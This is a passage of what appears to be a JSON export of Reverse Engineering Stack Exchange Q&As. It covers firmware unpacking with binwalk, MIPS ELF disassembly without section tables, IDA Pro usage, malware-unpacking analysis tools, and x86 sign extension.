/www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4631797       0x46ACF5        HTML document header\n4632448       0x46AF80        XML document, version: \"1.0\"\n4632562       0x46AFF2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4645229       0x46E16D        HTML document header\n4645891       0x46E403        XML document, version: \"1.0\"\n4646005       0x46E475        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4647909       0x46EBE5        HTML document header\n4648567       0x46EE77        XML document, version: \"1.0\"\n4648681       0x46EEE9        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4651789       0x46FB0D        HTML document header\n4652454       0x46FDA6        XML document, version: \"1.0\"\n4652568       0x46FE18        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4656709       0x470E45        HTML document header\n4657372       0x4710DC        XML document, version: \"1.0\"\n4657486       0x47114E        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4663141       0x472765        HTML document header\n4663811       0x472A03        XML document, version: \"1.0\"\n4663925       0x472A75        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4665425       0x473051        HTML document header\n4666090       0x4732EA        XML document, version: \"1.0\"\n4666204       0x47335C        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4667989       0x473A55        HTML document header\n4668659       0x473CF3        XML document, version: \"1.0\"\n4668773       0x473D65        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4671789       0x47492D        HTML document header\n4672445       0x474BBD        XML document, version: \"1.0\"\n4672559       0x474C2F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4686680       0x478358        Base64 standard index table\n4696558       0x47A9EE        GIF image data, version \"89a\", 2 x 2\n4696606       0x47AA1E        GIF image data, version \"89a\", 4 x 7\n4696702       0x47AA7E        GIF image data, version \"89a\", 1 x 34\n4696798       0x47AADE        GIF image data, version \"89a\", 1 x 900\n4698178       0x47B042        GIF image data, version \"89a\", 1 x 3\n4698242       0x47B082        GIF image data, version \"89a\", 3 x 1\n4698306       0x47B0C2        GIF image data, version \"89a\", 3 x 1\n4698370       0x47B102        GIF image data, version \"89a\", 1 x 3\n4698434       0x47B142        GIF image data, version \"89a\", 14 x 14\n4698522       0x47B19A        GIF image data, version \"89a\", 12 x 12\n4699426       0x47B522        GIF image data, version \"89a\", 1 x 1\n4699478       0x47B556        GIF image data, version \"89a\", 13 x 13\n4699602       0x47B5D2        GIF image data, version \"89a\", 13 x 13\n4699786       0x47B68A        GIF image data, version \"89a\", 16 x 22\n4700118       0x47B7D6        GIF image data, version \"89a\", 16 x 22\n4700454       0x47B926        GIF image data, version \"89a\", 16 x 22\n4700786       0x47BA72        GIF image data, version \"89a\", 16 x 22\n4701122       0x47BBC2        GIF image data, version \"89a\", 16 x 22\n4701206       0x47BC16        GIF image data, version \"89a\", 1 x 19\n4701306       0x47BC7A        GIF image data, version \"89a\", 18 x 17\n4701426       0x47BCF2        GIF image data, version \"89a\", 22 x 22\n4701902       0x47BECE        GIF image data, version \"89a\", 22 x 22\n4702378       0x47C0AA        GIF image data, version \"89a\", 11 x 17\n4702694       0x47C1E6        GIF image data, version \"89a\", 22 x 22\n4703190       0x47C3D6        GIF image data, version \"89a\", 22 x 22\n4703682       0x47C5C2        GIF image data, version \"89a\", 17 x 16\n4703818       0x47C64A        GIF image data, version \"89a\", 22 x 22\n4705090       0x47CB42        GIF image data, version \"89a\", 22 x 22\n4705614       0x47CD4E        GIF image data, version \"89a\", 18 x 18\n4705698       0x47CDA2        GIF image data, version \"89a\", 18 x 18\n4705774       0x47CDEE        GIF image data, version \"89a\", 169 x 50\n4708034       0x47D6C2        GIF image data, version \"89a\", 1 x 1000\n4708690       0x47D952        GIF image data, version \"89a\", 155 x 55\n4711634       0x47E4D2        GIF image data, version \"89a\", 155 x 55\n4714562       0x47F042        GIF image data, version \"89a\", 155 x 1\n4714670       0x47F0AE        GIF image data, version \"89a\", 155 x 59\n4716402       0x47F772        GIF image data, version \"89a\", 1 x 13\n4716498       0x47F7D2        GIF image data, version \"89a\", 1 x 13\n4716594       0x47F832        GIF image data, version \"89a\", 1 x 22\n4716746       0x47F8CA        GIF image data, version \"89a\", 15 x 21\n4717370       0x47FB3A        GIF image data, version \"89a\", 1 x 21\n4717814       0x47FCF6        GIF image data, version \"89a\", 15 x 21\n4718438       0x47FF66        GIF image data, version \"89a\", 14 x 24\n4718842       0x4800FA        GIF image data, version \"89a\", 1 x 24\n4718994       0x480192        GIF image data, version \"89a\", 14 x 24\n4719402       0x48032A        GIF image data, version \"89a\", 14 x 24\n4719562       0x4803CA        GIF image data, version \"89a\", 1 x 24\n4719658       0x48042A        GIF image data, version \"89a\", 14 x 24\n4719818       0x4804CA        GIF image data, version \"89a\", 1 x 55\n4720098       0x4805E2        GIF image data, version \"89a\", 1 x 36\n4720254       0x48067E        GIF image data, version \"89a\", 16 x 22\n4720362       0x4806EA        GIF image data, version \"89a\", 34 x 358\n4725174       0x4819B6        GIF image data, version \"89a\", 1 x 45\n4726030       0x481D0E        GIF image data, version \"89a\", 13 x 13\n4726150       0x481D86        GIF image data, version \"89a\", 13 x 13\n4726338       0x481E42        GIF image data, version \"89a\", 3 x 20\n4726390       0x481E76        GIF image data, version \"89a\", 1 x 600\n4727550       0x4822FE        GIF image data, version \"89a\", 1 x 30\n4728394       0x48264A        GIF image data, version \"89a\", 10 x 30\n4729062       0x4828E6        GIF image data, version \"89a\", 10 x 30\n4730138       0x482D1A        GIF image data, version \"89a\", 153 x 285\n4735458       0x4841E2        GIF image data, version \"89a\", 1 x 20\n4735558       0x484246        GIF image data, version \"89a\", 16 x 14\n4735874       0x484382        GIF image data, version \"89a\", 16 x 18\n4736226       0x4844E2        GIF image data, version \"89a\", 1 x 20\n4736326       0x484546        GIF image data, version \"89a\", 41 x 36\n4736846       0x48474E        GIF image data, version \"89a\", 19 x 14\n4737406       0x48497E        GIF image data, version \"89a\", 17 x 14\n4737738       0x484ACA        GIF image data, version \"89a\", 19 x 14\n4738066       0x484C12        GIF image data, version \"89a\", 17 x 14\n4738274       0x484CE2        GIF image data, version \"89a\", 19 x 14\n4738374       0x484D46        GIF image data, version \"89a\", 61 x 47\n4741454       0x48594E        GIF image data, version \"89a\", 61 x 47\n4742834       0x485EB2        GIF image data, version \"89a\", 61 x 47\n4744382       0x4864BE        GIF image data, version \"89a\", 61 x 47\n4747466       0x4870CA        GIF image data, version \"89a\", 20 x 14\n4747606       0x487156        GIF image data, version \"89a\", 20 x 14\n4747942       0x4872A6        GIF image data, version \"89a\", 23 x 21\n4749130       0x48774A        GIF image data, version \"89a\", 19 x 14\n4749486       0x4878AE        GIF image data, version \"89a\", 26 x 10\n4749578       0x48790A        GIF image data, version \"89a\", 26 x 10\n4749670       0x487966        GIF image data, version \"89a\", 28 x 16\n4750538       0x487CCA        GIF image data, version \"89a\", 28 x 16\n4750610       0x487D12        GIF image data, version \"89a\", 28 x 16\n4751482       0x48807A        GIF image data, version \"89a\", 19 x 14\n4751838       0x4881DE        GIF image data, version \"89a\", 2 x 435\n4752086       0x4882D6        GIF image data, version \"89a\", 61 x 47\n4753750       0x488956        GIF image data, version \"89a\", 61 x 47\n4756942       0x4895CE        GIF image data, version \"89a\", 48 x 67\n4773114       0x48D4FA        GIF image data, version \"89a\", 50 x 37\n4776430       0x48E1EE        GIF image data, version \"89a\", 53 x 19\n4776974       0x48E40E        GIF image data, version \"89a\", 53 x 19\n4777402       0x48E5BA        GIF image data, version \"89a\", 48 x 67\n4827065       0x49A7B9        HTML document header\n4827742       0x49AA5E        XML document, version: \"1.0\"\n4827856       0x49AAD0        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4830673       0x49B5D1        HTML document header\n4831356       0x49B87C        XML document, version: \"1.0\"\n4831470       0x49B8EE        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4843989       0x49E9D5        HTML document header\n4844681       0x49EC89        XML document, version: \"1.0\"\n4844799       0x49ECFF        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4877565       0x4A6CFD        HTML document header\n4878242       0x4A6FA2        XML document, version: \"1.0\"\n4878356       0x4A7014        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4879897       0x4A7619        HTML document header\n4880582       0x4A78C6        XML document, version: \"1.0\"\n4880696       0x4A7938        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4884821       0x4A8955        HTML document header\n4885514       0x4A8C0A        XML document, version: \"1.0\"\n4885628       0x4A8C7C        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4888997       0x4A99A5        HTML document header\n4889694       0x4A9C5E        XML document, version: \"1.0\"\n4889811       0x4A9CD3        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4892621       0x4AA7CD        HTML document header\n4893306       0x4AAA7A        XML document, version: \"1.0\"\n4893420       0x4AAAEC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4935349       0x4B4EB5        HTML document header\n4936024       0x4B5158        XML document, version: \"1.0\"\n4936138       0x4B51CA        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4937833       0x4B5869        HTML document header\n4938514       0x4B5B12        XML document, version: \"1.0\"\n4938628       0x4B5B84        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4940349       0x4B623D        HTML document header\n4941028       0x4B64E4        XML document, version: \"1.0\"\n4941142       0x4B6556        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4942829       0x4B6BED        HTML document header\n4943498       0x4B6E8A        XML document, version: \"1.0\"\n4943612       0x4B6EFC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4946177       0x4B7901        HTML document header\n4946852       0x4B7BA4        XML document, version: \"1.0\"\n4946966       0x4B7C16        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4950533       0x4B8A05        HTML document header\n4951239       0x4B8CC7        XML document, version: \"1.0\"\n4951355       0x4B8D3B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4978281       0x4BF669        HTML document header\n4978966       0x4BF916        XML document, version: \"1.0\"\n4979080       0x4BF988        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n4981993       0x4C04E9        HTML document header\n4982674       0x4C0792        XML document, version: \"1.0\"\n4982788       0x4C0804        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n5031144       0x4CC4E8        Copyright string: \"Copyright (c) BRECIS Communications\"\n5439908       0x5301A4        Base64 standard index table\n5471481       0x537CF9        Unix path: /config_action/flow/classifier/statistics/web\n5477216       0x539360        Unix path: /config/config-action/flow/classifier/statistics/web/help\n5486005       0x53B5B5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_cor.c,v 1.7 2005/09/28 18:59:56 bostromc Exp $\n5486917       0x53B945        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_dcd.c,v 1.4 2005/04/25 23:13:33 sillettr Exp $\n5488929       0x53C121        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r21_cor.c,v 1.6 2005/04/25 23:13:33 sillettr Exp $\n5489073       0x53C1B1        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r2x_cor.c,v 1.7 2005/04/25 23:13:34 sillettr Exp $\n5490821       0x53C885        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r2x_scm.c,v 1.2 2005/04/25 23:13:34 sillettr Exp $\n5491157       0x53C9D5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/rcm_rot.c,v 1.2 2003/06/18 00:58:25 cbostrom Exp $\n5494509       0x53D6ED        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/t21_cor.c,v 1.3 2005/04/25 23:13:34 sillettr Exp $\n5497205       0x53E175        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/mdm_fltr.c,v 1.3 2005/04/25 23:13:33 sillettr Exp $\n5499045       0x53E8A5        Unix path: /proj/software/pub/CVSROOT/mips/t38/mdm_src/r17_baud.c,v 1.5 2005/09/28 18:59:56 bostromc Exp $\n5541456       0x548E50        HTML document footer\n5541648       0x548F10        HTML document footer\n5549106       0x54AC32        ZyXEL rom-0 configuration block, name: \"spt.dat\", compressed size: 30581, uncompressed size: 26729, data offset from start of block: 16\n5550136       0x54B038        HTML document header\n5550144       0x54B040        HTML document footer\n5582796       0x552FCC        HTML document footer\n5586092       0x553CAC        Copyright string: \"Copyright (c) 1996-2000 Express Logic Inc. * ThreadX R3900/Green Hills Version G3.0f.3.0b *\"\n5586653       0x553EDD        MySQL MISAM index file Version 6\n5586672       0x553EF0        MySQL ISAM compressed data file Version 6\n
    \n\n

    Link

    \n", "Title": "Binwalk could not extract the full content", "Tags": "|binary-analysis|firmware|unpacking|", "Answer": "

    If the output of the Binwalk is not explicit enough, it is worth to see the content of the binary with a hex editor.

    \n\n

    So, if you open the binary file, you will see a lot of zeros and identical bytes at the beginning, which is a clear indication, that at least the first part of the file is neither encrypted nor compressed. If you don't know what these bytes means, just go further in the file and you may find strings, which can clear the situation. In this case, the strings state that the first part of the binary is a bootloader, specifically the MultiBoot Client version 2.3.

    \n\n

    \"Bootloader

    \n\n

    You can find also, that the bootloader uses LZMA compression, such as stated by the Binwalk. Thus, you have a bootloader and two compressed image. By comparing the start of these parts, one can observe that each one contains the SIG string, the size of the image, name of the image and a CRC value. The compressed image started at the 0x30 offset with a typical LZMA header.

    \n\n

    The decompressed parts have low entropy and contains strings, which means that the extraction was successful. The router OS is an RTOS (according to the strings it is ZynOS) and not Linux, so you won't find any filesystem in the firmware image.

    \n" }, { "Id": "17189", "CreationDate": "2018-01-13T23:11:15.013", "Body": "

    Let's just assume that our classes.dex file has a class:

    \n\n
    com.example.MyClass\n
    \n\n

    in which there's a method \"meth\":

    \n\n
    public final com.example.MyClass.meth(java.lang.String p0)\n
    \n\n

    how/where can I search the code of the method \"meth\" with the string \"com.example.MyClass.meth\"?

    \n\n

    Because in the Local Types view I can only find the class but I can't reach the code and in the Names/Functions windows I can only search the method name (think what you can get with an obfuscated code) prefixed by the class name so there are a lot of duplicates.

    \n\n

    FYI:\nIDA pro (I'm using the version 7) supports officially Dalvik bytecode disassembling and debugging.

    \n", "Title": "IDA Pro Search classes within a Dex file inclusive of package name", "Tags": "|ida|android|", "Answer": "

    What does work is a text search for a string like com.foo.bar.Method - press Alt+T in the disassembly, mark \"Match case\", \"Identifier\". This should help find you the actual method body, at least it's what I have been using.

    \n\n

    I don't think it's ideal but also I don't know of a better way either. For bigger APKs this can be quite slow but at least it solves the problem.

    \n" }, { "Id": "17196", "CreationDate": "2018-01-15T03:27:57.943", "Body": "

    I have a MIPS .so file that I'm trying to reverse. Binary Ninja (too cheap for IDA) finds no symbols, and neither does objdump -T, instead giving \"Invalid Operation\":

    \n\n
    % mips-linux-gnu-objdump -x libinet.so\n\nlibinet.so:     file format elf32-tradbigmips\nlibinet.so\narchitecture: mips:isa32r2, flags 0x00000140:\nDYNAMIC, D_PAGED\nstart address 0x000040f0\n\nProgram Header:\n0x70000000 off    0x000000f4 vaddr 0x000000f4 paddr 0x000000f4 align 2**2\n         filesz 0x00000018 memsz 0x00000018 flags r--\n    LOAD off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**16\n         filesz 0x00013454 memsz 0x00013454 flags r-x\n    LOAD off    0x00014000 vaddr 0x00024000 paddr 0x00024000 align 2**16\n         filesz 0x000006c0 memsz 0x00000d6c flags rw-\n DYNAMIC off    0x0000010c vaddr 0x0000010c paddr 0x0000010c align 2**2\n         filesz 0x00000108 memsz 0x00000108 flags rwx\n   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4\n         filesz 0x00000000 memsz 0x00000000 flags rw-\n    NULL off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2\n         filesz 0x00000000 memsz 0x00000000 flags ---\nprivate flags = 74001007: [abi=O32] [mips32r2] [mips16] [not 32bitmode] [noreorder] [PIC] [CPIC]\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\nSYMBOL TABLE:\nno symbols\n\n\n% mips-linux-gnu-objdump -T libinet.so\nmips-linux-gnu-objdump: libinet.so: Invalid operation\nlibinet.so:     file format elf32-tradbigmips\n
    \n\n

    Anyone know why this would happen? Are there any better tools to explore the ELF metadata to see if there's something unusual about this shared object?

    \n\n

    Edit Some more results:

    \n\n
    % file libinet.so \nlibinet.so: ELF 32-bit MSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, corrupted section header size\n% readelf -SW ./libinet.so \n\nThere are no sections in this file.\n
    \n", "Title": "objdump -T gives Invalid Operation on MIPS .so", "Tags": "|file-format|elf|", "Answer": "

    Alas, BFD-based tools like gdb or objdump can't handle ELF files without a section table. However, Linux and other OSes using ELFs do not actually require a file to have section table to be executable, only the segment table (Program headers) are enough. However, readelf does not use BFD and so can display ELF details even without section table. For example:

    \n\n
    >readelf -SW sample.elf\nThere are no sections in this file.\n
    \n\n

    but:

    \n\n
    >readelf -ed sample.elf\nELF Header:\n  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, big endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              EXEC (Executable file)\n  Machine:                           MIPS R3000\n  Version:                           0x1\n  Entry point address:               0x405110\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          0 (bytes into file)\n  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         7\n  Size of section headers:           0 (bytes)\n  Number of section headers:         0\n  Section header string table index: 0\n\nThere are no sections in this file.\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x00400034 0x00400034 0x000e0 0x000e0 R E 0x4\n  INTERP         0x000114 0x00400114 0x00400114 0x00014 0x00014 R   0x1\n      [Requesting program interpreter: /lib/ld-uClibc.so.0]\n  REGINFO        0x000128 0x00400128 0x00400128 0x00018 0x00018 R   0x4\n  LOAD           0x000000 0x00400000 0x00400000 0x5d86c 0x5d86c R E 0x1000\n  LOAD           0x05e000 0x10000000 0x10000000 0x01f64 0x055c4 RW  0x1000\n  DYNAMIC        0x000140 0x00400140 0x00400140 0x04f36 0x04f36 RWE 0x4\n  GNU_EH_FRAME   0x05d850 0x0045d850 0x0045d850 0x0001c 0x0001c R   0x4\n\nDynamic section at offset 0x140 contains 26 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [libcrypt.so.0]\n 0x00000001 (NEEDED)                     Shared library: [libm.so.0]\n 0x00000001 (NEEDED)                     Shared library: [libnbu.so]\n 0x00000001 (NEEDED)                     Shared library: [libnbd.so]\n 0x00000001 (NEEDED)                     Shared library: [libc.so.0]\n 0x0000000c (INIT)                       0x405088\n 0x0000000d (FINI)                       0x4557b0\n 0x00000004 (HASH)                       0x400238\n 0x00000005 (STRTAB)                     0x403868\n 0x00000006 (SYMTAB)                     0x401398\n 0x0000000a (STRSZ)                      6158 (bytes)\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x70000016 (MIPS_RLD_MAP)               0x10001630\n 0x00000015 (DEBUG)                      0x0\n 0x00000003 (PLTGOT)                     0x10001640\n 0x00000011 (REL)                        0x405078\n 0x00000012 (RELSZ)                      16 (bytes)\n 0x00000013 (RELENT)                     8 (bytes)\n 0x70000001 (MIPS_RLD_VERSION)           1\n 0x70000005 (MIPS_FLAGS)                 NOTPOT\n 0x70000006 (MIPS_BASE_ADDRESS)          0x400000\n 0x7000000a (MIPS_LOCAL_GOTNO)           13\n 0x70000011 (MIPS_SYMTABNO)              589\n 0x70000012 (MIPS_UNREFEXTNO)            35\n 0x70000013 (MIPS_GOTSYM)                0x11\n 0x00000000 (NULL)                       0x0\n
    \n\n

    As you can see, it does have a proper dynamic table with DT_SYMTAB entry necessary to resolve symbols. However, readelf lacks a disassembler so we will have to use objdump after all, just without relying on the section table. First, let's extract the first LOAD segment (it has \"(R)ead (E)execute\" flags so likely to contain code) into a separate file:

    \n\n
    \n

    dd if=sample.elf bs=1 skip=0 count=383084 of=text.bin

    \n
    \n\n

    (unfortunately dd only accepts decimal values).

    \n\n

    P.S. In fact, since the segment starts at 0, you could have skipped this step and disassembled the input file directly. However, this is not always the case. so may be useful for other files.

    \n\n

    Now we can disassemble it with objdump as raw binary:

    \n\n
    mips-linux-gnu-objdump -b binary -D -m mips:isa32r2 --adjust-vma=0x00400000 --start-address=0x405110  -EB text.bin \n
    \n\n

    Breakdown of the options:

    \n\n
      \n
    • b binary: treat input as raw binary
      • \n
    • -D: disassemble everything as code (necessary for raw binaries since they don't have sections or other metadata)
      • \n
    • -m mips:isa32r2 : treat code as MIPS32r2 instructions
      • \n
    • --adjust-vma=0x00400000 : assume that binary is loaded at 0x00400000 (VirtAddr column from the readelf program headers dump).
      • \n
    • --start-address=0x405110: start disassembly at 0x405110 (\"Entry point address\" from the header dump)
      • \n
    • -EB: instructions are big-endian (as hinted by readelf).
      • \n
    \n\n

    The result looks like:

    \n\n
    Disassembly of section .data:\n\n00405110 <.data+0x5110>:\n  405110:       04100001        bltzal  zero,0x405118\n  405114:       00000000        nop\n  405118:       3c1c0fc0        lui     gp,0xfc0\n  40511c:       279c4518        addiu   gp,gp,17688\n  405120:       039fe021        addu    gp,gp,ra\n  405124:       0000f821        move    ra,zero\n  405128:       8fa40000        lw      a0,0(sp)\n  40512c:       27a50004        addiu   a1,sp,4\n  405130:       24860001        addiu   a2,a0,1\n  405134:       00063080        sll     a2,a2,0x2\n  405138:       00c53020        add     a2,a2,a1\n  40513c:       8f87861c        lw      a3,-31204(gp)\n  405140:       27bdffe8        addiu   sp,sp,-24\n  405144:       8f82829c        lw      v0,-32100(gp)\n  405148:       00000000        nop\n  40514c:       afa20010        sw      v0,16(sp)\n  405150:       8f998114        lw      t9,-32492(gp)\n  405154:       00000000        nop\n  405158:       0320f809        jalr    t9\n  40515c:       00000000        nop\n  405160:       27bd0018        addiu   sp,sp,24\n  405164:       1000ffff        b       0x405164\n  405168:       00000000        nop\n
    \n\n

    Don't pay attention to .data, that's just the default name when objdump has no other information.

    \n\n

    Making sense of the disassembly is left as an exercise to the reader :)

    \n\n
    \n\n

    EDIT

    \n\n

    I forgot readelf options. In fact, the manpage mentions:

    \n\n
    \n\n

    -D
    \n--use-dynamic

    \n\n

    When displaying symbols, this option makes readelf use the symbol table in the file's dynamic section, rather than the one in the symbols section.

    \n\n
    \n\n

    And indeed, readelf -Ds sample.elf shows nice output:

    \n\n
    Symbol table for image:\n  Num Buc:    Value  Size   Type   Bind Vis      Ndx Name\n   58   0: 00455690     0 FUNC    GLOBAL DEFAULT UND execvp\n  384   1: 00454c90     0 FUNC    GLOBAL DEFAULT UND getpgrp\n   68   3: 00455640     0 FUNC    GLOBAL DEFAULT UND open\n  123   3: 004554a0     0 FUNC    GLOBAL DEFAULT UND socketpair\n  513   3: 0044a298     0 FUNC    GLOBAL DEFAULT bad xdr_dirpath\n  120   4: 004554b0     0 FUNC    GLOBAL DEFAULT UND strftime\n  373   4: 00454ce0     0 FUNC    GLOBAL DEFAULT UND strrchr\n  572   4: 00454730     0 FUNC    GLOBAL DEFAULT UND waitpid\n
    \n" }, { "Id": "17211", "CreationDate": "2018-01-16T12:51:52.733", "Body": "

    Recently I have been working on reverse engineering of binary samples and executables of known malware. Most of them have been packed or encrypted. And to reach the actual data or part of the program we have to find where it is unpacking.

    \n\n

    Is there any common way or some technique to unpack malware samples for easier analysis?

    \n", "Title": "How to unpack and decrypt malware?", "Tags": "|malware|static-analysis|dynamic-analysis|", "Answer": "

    To add to what Hector said, I'd like to offer a couple of excellent tools, as well as an illuminating YouTube channel from an industry expert who shows you techniques and tools used to reverse modern malware targets.

    \n\n
      \n

    1. Process Dump: Dumps malware memory components back to disk for analysis. Dumping of regions without PE headers is supported and in these cases PE headers and import tables will automatically be generated. Process Dump supports creation and use of a clean-hash database, so that dumping of clean files such as kernel32.dll can be skipped.

      2. \n

    2. PE-Sieve: Detects inline hooks, hollowed processes, process doppelg\u00e4nging, and much more.

      3. \n

    3. Malware Analysis for Hedgehogs: Funny name for a channel, but absolutely invaluable tutorials for reversing modern malware, including everything from tools, to techniques, to how to set up environments for successful reversing, etc.

      4. \n
    \n\n

    There are of couse a multitude of tools and techniques, but what I've mentioned herein should put you on the right path, especially if using the tools mentioned and utilized by MalwareAnalysisForHedgehogs.

    \n" }, { "Id": "17213", "CreationDate": "2018-01-16T17:09:48.583", "Body": "

    I am a little bit confused with this strange issue with ARM firmware. My original firmware file has no symbols, so I need to find them by myself trough the internet. But here I have a certain function of which I am sure. I have some reliable xrefs to it. But sometimes, some function call the loc_'s following its start. Look here:

    \n\n

    \"enter

    \n\n

    So, it should start from the STMFD as usual, but here is not the case. Why?

    \n", "Title": "ARM function start points look strange sometimes in IDA Pro", "Tags": "|ida|arm|", "Answer": "

    Whenever you see nonsensical ARM instructions with conditional suffixes it's likely data being disassembled. Double-check your firmware load address and inspect the calling code; I think the call may have been bogus code too, which caused IDA to start disassembling at a wrong place.

    \n" }, { "Id": "17224", "CreationDate": "2018-01-17T14:41:49.523", "Body": "

    I just started learning about reconstructing C code from assembler instructions.

    \n\n

    I have the following piece of assembler code:

    \n\n
    mov eax dword ptr [ebp+8]\nadd eax, dword ptr[ebp-4]\nmovsx ecx, byte ptr [eax]\ntest ecx, ecx\njne XXXXX\ncomp dword ptr [ebp-4], ffh\njle XXXX\n
    \n\n

    I want to reconstruct the condition of these lines but I have some problems or things I am not sure about:\nI re-constructed the following:

    \n\n

    Let,ebp+8= param1 and ebp-4 = i

    \n\n
    if(param1[i]!=\u2019\\0\u2019 || i<=0xff){\n\u2026\n}\n
    \n\n

    But I am wondering about this line:

    \n\n
    movsx ecx, byte ptr [eax]\n
    \n\n

    As I understand movsx it moves a signed value into a register and sign-extends it with 1. Thus, ecx shouble look something like 0xFFFFFF<eax>. Because only the lower bytes (byte ptr eax) of eax are moved and ecx is 1 extended. Where am I wrong?

    \n", "Title": "re-construction of c code: movsx with test instruction", "Tags": "|x86|c|static-analysis|", "Answer": "

    You may want to familiarize yourself with two's complement notation. It will only extend the sign bit (msb) into the larger register. So, the msb will be extended into all the additional bits -- sxxxxxxx -> sssssssssssssssssssssssssxxxxxxx

    \n\n

    For example, if the byte value pointed to by eax was 1 (0b00000001), ecx would be 1 (0b00000000000000000000000000000001). Similarly, if it was the most positive number possible in a two's complement byte, 127 (0b01111111), ecx would be 127 as well (0b00000000000000000000000001111111).

    \n\n

    Where the sign extension is needed is to maintain the value for negative numbers. If the value were -1 (0b11111111), then if you just simply zero-extended into a 32-bit value you would get 255 (0b00000000000000000000000011111111) in ecx instead of -1 (0b11111111111111111111111111111111).

    \n" }, { "Id": "17226", "CreationDate": "2018-01-17T17:24:01.087", "Body": "

    I have an MIPS binary file that I want to analyze. I am having a little trouble understanding the way elfread and r2 interpret the adressing scheme from a binary.

    \n\n

    For example, r2 finds a function named bcmVlan_setDefaultAction at the location 0x0800d318:

    \n\n
    [0x0800fbb8]> s sym.bcmVlan_setDefaultAction  \n[0x0800d318]>\n
    \n\n

    While as per the .symtab table, this function is located at 0x0000d2c8

    \n\n
    $ readelf -a bcmvlan.ko | grep bcmVlan_setDefaultAction\n123: 0000d2c8   616 FUNC    GLOBAL DEFAULT    2 bcmVlan_setDefaultAction\n
    \n\n

    I tried some other functions too. It seems the addresses shown by readelf and r2 are corelated, but I can't find why this difference is there.

    \n\n

    Regards.

    \n", "Title": "Difference between 'readelf' and 'radare2' addresses", "Tags": "|elf|radare2|address|", "Answer": "

    .symtab

    \n\n

    The symbol table of readelf (.symtab) shows you the offset of each symbol from the base of the section the symbol is in.

    \n\n

    As you showed us, when you listing the table you get something like that:

    \n\n
    $ readelf --symbols <filename>\nSymbol table '.symtab' contains 471 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND\n     1: 00000000     0 SECTION LOCAL  DEFAULT    2\n     2: 00000000     0 SECTION LOCAL  DEFAULT    4\n     3: 00000000     0 SECTION LOCAL  DEFAULT    6\n     4: 00000000     0 SECTION LOCAL  DEFAULT    8\n     5: 00000000     0 SECTION LOCAL  DEFAULT   10\n     6: 00000000     0 SECTION LOCAL  DEFAULT   12\n       ...    ... Truncated for readability ...   ...\n   462: 0000d2c8   616 FUNC    GLOBAL DEFAULT    2 bcmVlan_setDefaultAction\n
    \n\n

    One column is interested us especially, which is the Ndx column. readelf identifies each section by an integer index. This is what Ndx stands for. The output of the .symtab shows us that our function bcmVlan_setDefaultAction belongs to Ndx number 2.

    \n\n

    Section Table

    \n\n

    To see which section has index number \"2\" you should execute:

    \n\n
    $ readelf --sections <filename>\n
    \n\n

    When you'll execute it you'd probably see something like this:

    \n\n
